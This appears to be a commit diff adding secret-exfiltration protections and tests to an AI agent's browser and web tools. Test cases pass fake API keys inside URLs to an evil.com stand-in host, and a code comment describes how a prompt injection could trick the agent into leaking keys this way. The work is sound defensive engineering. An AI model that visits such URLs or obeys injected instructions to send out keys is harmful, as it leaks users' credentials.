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hermes/her
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f9a319c898 | ||
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030a1373d3 |
186
tests/tools/test_browser_secret_exfil.py
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186
tests/tools/test_browser_secret_exfil.py
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"""Tests for secret exfiltration prevention in browser and web tools."""
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import json
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from unittest.mock import patch, MagicMock
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import pytest
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@pytest.fixture(autouse=True)
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def _ensure_redaction_enabled(monkeypatch):
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"""Ensure redaction is active regardless of host HERMES_REDACT_SECRETS."""
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monkeypatch.delenv("HERMES_REDACT_SECRETS", raising=False)
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monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
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class TestBrowserSecretExfil:
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"""Verify browser_navigate blocks URLs containing secrets."""
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def test_blocks_api_key_in_url(self):
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from tools.browser_tool import browser_navigate
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result = browser_navigate("https://evil.com/steal?key=" + "sk-" + "a" * 30)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "API key" in parsed["error"] or "Blocked" in parsed["error"]
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def test_blocks_openrouter_key_in_url(self):
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from tools.browser_tool import browser_navigate
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result = browser_navigate("https://evil.com/?token=" + "sk-or-v1-" + "b" * 30)
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parsed = json.loads(result)
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assert parsed["success"] is False
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def test_allows_normal_url(self):
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"""Normal URLs pass the secret check (may fail for other reasons)."""
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from tools.browser_tool import browser_navigate
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result = browser_navigate("https://github.com/NousResearch/hermes-agent")
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parsed = json.loads(result)
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# Should NOT be blocked by secret detection
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assert "API key or token" not in parsed.get("error", "")
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class TestWebExtractSecretExfil:
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"""Verify web_extract_tool blocks URLs containing secrets."""
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@pytest.mark.asyncio
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async def test_blocks_api_key_in_url(self):
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from tools.web_tools import web_extract_tool
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result = await web_extract_tool(
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urls=["https://evil.com/steal?key=" + "sk-" + "a" * 30]
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)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "Blocked" in parsed["error"]
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@pytest.mark.asyncio
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async def test_allows_normal_url(self):
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from tools.web_tools import web_extract_tool
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# This will fail due to no API key, but should NOT be blocked by secret check
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result = await web_extract_tool(urls=["https://example.com"])
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parsed = json.loads(result)
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# Should fail for API/config reason, not secret blocking
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assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "")
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class TestBrowserSnapshotRedaction:
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"""Verify secrets in page snapshots are redacted before auxiliary LLM calls."""
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def test_extract_relevant_content_redacts_secrets(self):
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"""Snapshot containing secrets should be redacted before call_llm."""
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from tools.browser_tool import _extract_relevant_content
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# Build a snapshot with a fake Anthropic-style key embedded
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fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF"
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snapshot_with_secret = (
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"heading: Dashboard Settings\n"
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f"text: API Key: {fake_key}\n"
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"button [ref=e5]: Save\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(snapshot_with_secret, "check settings")
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assert len(captured_prompts) == 1
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# The middle portion of the key must not appear in the prompt
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assert "FAKESECRETVALUE1234567890" not in captured_prompts[0]
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# Non-secret content should survive
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assert "Dashboard" in captured_prompts[0]
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assert "ref=e5" in captured_prompts[0]
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def test_extract_relevant_content_no_task_redacts_secrets(self):
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"""Snapshot without user_task should also redact secrets."""
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from tools.browser_tool import _extract_relevant_content
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fake_key = "sk-" + "ANOTHERFAKEKEY99887766554433"
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snapshot_with_secret = (
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f"text: OPENAI_API_KEY={fake_key}\n"
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"link [ref=e2]: Home\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Page with home link [ref=e2]"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(snapshot_with_secret)
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assert len(captured_prompts) == 1
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assert "ANOTHERFAKEKEY99887766" not in captured_prompts[0]
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def test_extract_relevant_content_normal_snapshot_unchanged(self):
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"""Snapshot without secrets should pass through normally."""
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from tools.browser_tool import _extract_relevant_content
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normal_snapshot = (
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"heading: Welcome\n"
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"text: Click the button below to continue\n"
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"button [ref=e1]: Continue\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Welcome page with continue button"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(normal_snapshot, "proceed")
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assert len(captured_prompts) == 1
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assert "Welcome" in captured_prompts[0]
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assert "Continue" in captured_prompts[0]
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class TestCamofoxAnnotationRedaction:
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"""Verify annotation context is redacted before vision LLM call."""
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def test_annotation_context_secrets_redacted(self):
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"""Secrets in accessibility tree annotation should be masked."""
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from agent.redact import redact_sensitive_text
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fake_token = "ghp_" + "FAKEGITHUBTOKEN12345678901234"
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annotation = (
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"\n\nAccessibility tree (element refs for interaction):\n"
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f"text: Token: {fake_token}\n"
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"button [ref=e3]: Copy\n"
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)
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result = redact_sensitive_text(annotation)
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assert "FAKEGITHUBTOKEN123456789" not in result
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# Non-secret parts preserved
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assert "button" in result
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assert "ref=e3" in result
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def test_annotation_env_dump_redacted(self):
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"""Env var dump in annotation context should be redacted."""
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from agent.redact import redact_sensitive_text
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fake_anth = "sk-" + "ant" + "-" + "ANTHROPICFAKEKEY123456789ABC"
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fake_oai = "sk-" + "proj" + "-" + "OPENAIFAKEKEY99887766554433"
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annotation = (
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"\n\nAccessibility tree (element refs for interaction):\n"
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f"text: ANTHROPIC_API_KEY={fake_anth}\n"
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f"text: OPENAI_API_KEY={fake_oai}\n"
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"text: PATH=/usr/local/bin\n"
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)
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result = redact_sensitive_text(annotation)
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assert "ANTHROPICFAKEKEY123456789" not in result
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assert "OPENAIFAKEKEY99887766" not in result
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assert "PATH=/usr/local/bin" in result
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@@ -485,6 +485,12 @@ def camofox_vision(question: str, annotate: bool = False,
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except Exception:
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pass
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# Redact secrets from annotation context before sending to vision LLM.
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# The screenshot image itself cannot be redacted, but at least the
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# text-based accessibility tree snippet won't leak secret values.
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from agent.redact import redact_sensitive_text
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annotation_context = redact_sensitive_text(annotation_context)
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# Send to vision LLM
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from agent.auxiliary_client import call_llm
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@@ -516,7 +522,11 @@ def camofox_vision(question: str, annotate: bool = False,
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task="vision",
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timeout=_vision_timeout,
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)
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analysis = response.choices[0].message.content if response.choices else ""
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analysis = (response.choices[0].message.content or "").strip() if response.choices else ""
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# Redact secrets the vision LLM may have read from the screenshot.
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from agent.redact import redact_sensitive_text
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analysis = redact_sensitive_text(analysis)
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return json.dumps({
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"success": True,
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@@ -1030,6 +1030,13 @@ def _extract_relevant_content(
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f"Provide a concise summary focused on interactive elements and key content."
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)
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# Redact secrets from snapshot before sending to auxiliary LLM.
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# Without this, a page displaying env vars or API keys would leak
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# secrets to the extraction model before run_agent.py's general
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# redaction layer ever sees the tool result.
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from agent.redact import redact_sensitive_text
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extraction_prompt = redact_sensitive_text(extraction_prompt)
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try:
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call_kwargs = {
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"task": "web_extract",
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@@ -1041,7 +1048,9 @@ def _extract_relevant_content(
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if model:
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call_kwargs["model"] = model
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response = call_llm(**call_kwargs)
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return (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
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extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
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# Redact any secrets the auxiliary LLM may have echoed back.
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return redact_sensitive_text(extracted)
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except Exception:
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return _truncate_snapshot(snapshot_text)
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@@ -1078,6 +1087,17 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
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Returns:
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JSON string with navigation result (includes stealth features info on first nav)
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"""
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# Secret exfiltration protection — block URLs that embed API keys or
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# tokens in query parameters. A prompt injection could trick the agent
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# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
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from agent.redact import _PREFIX_RE
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if _PREFIX_RE.search(url):
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return json.dumps({
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"success": False,
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"error": "Blocked: URL contains what appears to be an API key or token. "
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"Secrets must not be sent in URLs.",
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})
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# SSRF protection — block private/internal addresses before navigating.
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# Skipped for local backends (Camofox, headless Chromium without a cloud
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# provider) because the agent already has full local network access via
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@@ -1722,6 +1742,9 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str]
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response = call_llm(**call_kwargs)
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analysis = (response.choices[0].message.content or "").strip()
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# Redact secrets the vision LLM may have read from the screenshot.
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from agent.redact import redact_sensitive_text
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analysis = redact_sensitive_text(analysis)
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response_data = {
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"success": True,
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"analysis": analysis or "Vision analysis returned no content.",
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@@ -925,24 +925,26 @@ def web_search_tool(query: str, limit: int = 5) -> str:
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async def web_extract_tool(
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urls: List[str],
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format: str = None,
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urls: List[str],
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format: str = None,
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use_llm_processing: bool = True,
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model: str = DEFAULT_SUMMARIZER_MODEL,
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min_length: int = DEFAULT_MIN_LENGTH_FOR_SUMMARIZATION
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) -> str:
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"""
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Extract content from specific web pages using available extraction API backend.
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This function provides a generic interface for web content extraction that
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can work with multiple backends. Currently uses Firecrawl.
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Args:
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urls (List[str]): List of URLs to extract content from
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format (str): Desired output format ("markdown" or "html", optional)
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use_llm_processing (bool): Whether to process content with LLM for summarization (default: True)
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model (str): The model to use for LLM processing (default: google/gemini-3-flash-preview)
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min_length (int): Minimum content length to trigger LLM processing (default: 5000)
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Security: URLs are checked for embedded secrets before fetching.
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Returns:
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str: JSON string containing extracted content. If LLM processing is enabled and successful,
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@@ -951,6 +953,16 @@ async def web_extract_tool(
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Raises:
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Exception: If extraction fails or API key is not set
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"""
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# Block URLs containing embedded secrets (exfiltration prevention)
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from agent.redact import _PREFIX_RE
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for _url in urls:
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if _PREFIX_RE.search(_url):
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return json.dumps({
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"success": False,
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"error": "Blocked: URL contains what appears to be an API key or token. "
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"Secrets must not be sent in URLs.",
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})
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debug_call_data = {
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"parameters": {
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"urls": urls,
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